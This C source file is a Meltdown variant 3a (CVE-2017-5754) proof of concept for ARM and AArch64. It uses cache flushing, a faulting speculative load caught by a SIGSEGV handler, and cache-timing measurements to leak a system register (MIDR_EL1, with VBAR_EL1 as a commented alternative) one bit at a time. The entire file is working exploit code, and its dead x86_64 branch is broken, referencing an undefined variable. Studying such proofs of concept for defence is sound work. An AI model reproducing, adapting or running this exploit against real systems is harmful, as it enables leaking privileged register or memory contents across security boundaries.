/*
 * Filename: meltdown-v3a.c
 * Created Date: Tuesday, June 30th 2020, 6:53:22 pm
 * Author: koyst
 *
 * Copyright (c) 2020 Your Company
 */

#if defined(__aarch64__) || defined(__arm__)
#else
#error "meltdown v3a only used for aarch64"
#endif

#include <setjmp.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

#if defined(__aarch64__)
static inline void clflush(void* addr)
{
    asm("dc civac, %[addr];"
        "dsb sy" ::[addr] "r"(addr));
}

static inline void dsbsy()
{
    asm("dsb sy");
}
#endif

#if defined(__arm__)

static inline void dsbsy()
{
    asm("dsb sy");
}

static inline void clflush(void* addr)
{
    // DCCIMVAC, Data Cache line Clean and Invalidate by VA to PoC
    asm("mcr p15, 0, %[addr], c7, c14, 1" ::[addr] "r"(addr));
    dsbsy();
}
#endif

/* Jump buffer */
static sigjmp_buf jmpbuf;

int debug = 0;
static struct timespec time_start = { 0, 0 }, time_end = { 0, 0 };
float hit_threshold_weight = 2.2;
int max_tries_arg = 600;

#define SIZE_CACHE_LINE 512
#define SIZE_CACHE_LINE_SHIFT 9

static uint64_t temp_val = 0;
uint8_t cache_buf[512 * SIZE_CACHE_LINE] __attribute__((aligned(SIZE_CACHE_LINE))); // 每次猜测1个无符号数, 每一个cache line 512byte数据

void flush_cache_buf()
{
    for (int i = 0; i < 512; i++) {
        clflush(&cache_buf[i * SIZE_CACHE_LINE]);
    }
    dsbsy();
}

long time_read(uint8_t* addr)
{
    long ns = 0;
    clock_gettime(CLOCK_MONOTONIC, &time_start);
    dsbsy();
    temp_val &= *addr;
    dsbsy();
    clock_gettime(CLOCK_MONOTONIC, &time_end);
    // ns = (time_end.tv_sec - time_start.tv_sec) * 1000000000 + (time_end.tv_nsec - time_start.tv_nsec);
    ns = (time_end.tv_nsec - time_start.tv_nsec);
    return ns;
}

#if defined(__x86_64__)
void probe_function(uint8_t* raise_addr, uint8_t* target_addr, int bit, uint8_t* cache_buf)
{
    // printf("bit: %d,  target_val: 0x%x, inx: %d\n", bit, *target_addr, ((*target_addr >> bit) & 1));
    // *raise_addr = cache_buf[10 * SIZE_CACHE_LINE];
    clflush(&bound_page[0]);
    // clflush(raise_addr);
    *raise_addr = bound_page[0];
    // temp_val &= cache_buf[((*target_addr >> bit) & 1) << SIZE_CACHE_LINE_SHIFT ]; // SIZE_CACHE_LINE];
    // temp_val &= cache_buf[((*target_addr >> bit) & 1) * SIZE_CACHE_LINE];
    temp_val &= cache_buf[((*target_addr >> bit) & 1) * SIZE_CACHE_LINE];
}
#endif

#if defined(__aarch64__)
// extern void (*attack_code)(void);
void probe_function(uint8_t* raise_addr, uint64_t bit, uint8_t* cache_buf)
{
    asm volatile(
        // ".global attack_code\n"
        // "attack_code:\n"
        "ldr x0, [x0];" // raise
        // "mrs x4, vbar_el1;" // target
        "mrs x4, MIDR_EL1;"
        "lsr x4, x4, x1;" // *target_addr >> bit
        "and x4, x4, #1;" // (*target_addr >> bit) & 1
        // "lsl x0, x0, #9;"  // ((*target_addr >> bit) & 1) << SIZE_CACHE_LINE_SHIFT ; ((*target_addr >> bit) & 1) * SIZE_CACHE_LINE
        "add x0, x2, x4, LSL #9;"
        "ldr x0, [x0]");
}
#endif

#if defined(__arm__)
// extern void (*attack_code)(void);
void probe_function(uint8_t* raise_addr, uint64_t bit, uint8_t* cache_buf)
{
    asm volatile(
        // ".global attack_code\n"
        // "attack_code:\n"
        "ldr r0, [r0];" // raise
        // mrc midr
        "mrc p15, 0, r4, c0, c0, 0;"
        "lsr r4, r4, r1;" // *target_addr >> bit
        "and r4, r4, #1;" // (*target_addr >> bit) & 1
        // "lsl r0, r0, #9;"  // ((*target_addr >> bit) & 1) << SIZE_CACHE_LINE_SHIFT ; ((*target_addr >> bit) & 1) * SIZE_CACHE_LINE
        "add r0, r2, r4, LSL #9;"
        "ldr r0, [r0]");
}
#endif

void sig_handle(int sig_no, siginfo_t* info, void* ucontext)
{
    siglongjmp(jmpbuf, 1);
}

long get_hit_threshold(int line)
{
    uint8_t temp;
    long junk;
    long miss_time, hit_time, hit_threshold;
    clflush(&temp);
    miss_time = time_read(&temp);
    hit_time = time_read(&temp);

    hit_threshold = (hit_time + miss_time) / hit_threshold_weight;
    if (debug) {
        printf("time: hit: %4d, miss: %4d, hit_threshold: %4d", hit_time, miss_time, hit_threshold);
        if (line)
            printf("\n");
    }
    return hit_threshold;
}

void set_signal()
{
    struct sigaction act;
    act.sa_sigaction = sig_handle;
    act.sa_flags = SA_SIGINFO;
    act.sa_flags = 0;
    sigaction(SIGSEGV, &act, NULL);
}

uint64_t meltdown_read_reg(int* p_precision)
{
    uint64_t value = 0;
    int precision = 1;
    long delay_0, delay_1;
    long hit_threshold;
    for (int bit = 64; bit >= 0; bit--) {
        int hit0 = 0, hit1 = 0;
        for (int tries = 0; tries < max_tries_arg; tries++) {
            // flush_cache_buf();

            clflush(&cache_buf[SIZE_CACHE_LINE]);
            clflush(&cache_buf[0]);

            if (sigsetjmp(jmpbuf, 1) == 1) {
                // 异常退出, 异常返回将到这儿
            } else {
                /* SIGSEGV */
                probe_function(0, bit, cache_buf);
                printf("here always not be executed\n");
            }

            hit_threshold = get_hit_threshold(0);

            delay_1 = time_read(&cache_buf[SIZE_CACHE_LINE]);
            delay_0 = time_read(&cache_buf[0]);

            if (debug)
                printf("===bit: %d, delay_0: %4d, delay_1: %4d\n",
                    bit, delay_0, delay_1);

            if (delay_0 < hit_threshold && delay_1 > hit_threshold) {
                hit0++;
            } else if (delay_1 < hit_threshold && delay_0 > hit_threshold) {
                hit1++;
            }
#if defined(__aarch64__)
            FILE* f = fopen("/dev/null", "w");
            fclose(f);
#endif
        }

        value = value << 1;
        if (hit0 > hit1 * 2) {
        } else if (hit1 > hit0 * 2) {
            value |= 1;
        } else {
            precision = 0;
            if (hit1 > hit0) {
                value |= 1;
            }
        }
    }
    *p_precision = precision;
    return value;
}

void meltdown_read()
{
    set_signal();
    uint64_t values[100] = { 0 };
    for (int i = 0; i < 99; i++) {
        int precision;
        uint64_t value;

        values[i] = meltdown_read_reg(&precision);
        printf("got %lx, precision: %d\n", values[i], precision);
        break;
    }
    printf("****************************************\n");
}

void usage(const char* argv[])
{
    printf("usage: %s [-h] [threshold_wight max_tries]\n", argv[0]);
    printf("    hreshold weight should between [1.1, 3], generally is 2\n");
    printf("    round max_tries time should greater 30, generally between [50, 999]\n");
}

int main(int argc, char const* argv[])
{
    if (argc == 2) {
        if (!strcmp("-debug", argv[1])) {
            debug = 1;
        } else if (!strcmp("-h", argv[1])) {
            usage(argv);
            return 0;
        }
    } else if (argc == 3) {
        hit_threshold_weight = atof(argv[1]);
        max_tries_arg = atoi(argv[2]);
        if (hit_threshold_weight > 3 || hit_threshold_weight < 1.1f) {
            printf("threshold weight should between [1.1, 3], generally is 2, current is: %.1f\n", hit_threshold_weight);
            usage(argv);
            return 2;
        }
        if (max_tries_arg < 30) {
            printf("round tries time should greater 30, generally between [50, 999], current is %d\n", max_tries_arg);
            usage(argv);
            return 3;
        }
    }
    printf(
        "****************************************\n"
        "Meltdown-V3a (CVE-2017-5754) POC test by Koyst.\n"
        "out-of-order execution, spreg, rogue data cache load.\n"
        "****************************************\n");
    // for (int i = 0; i < 512 * SIZE_CACHE_LINE; i++) {
    //     cache_buf[i] = 1;
    // }

    flush_cache_buf(); // 准备缓存, 其实可以不需要, 有的话效果可能更好
    meltdown_read();
    return 0;
}
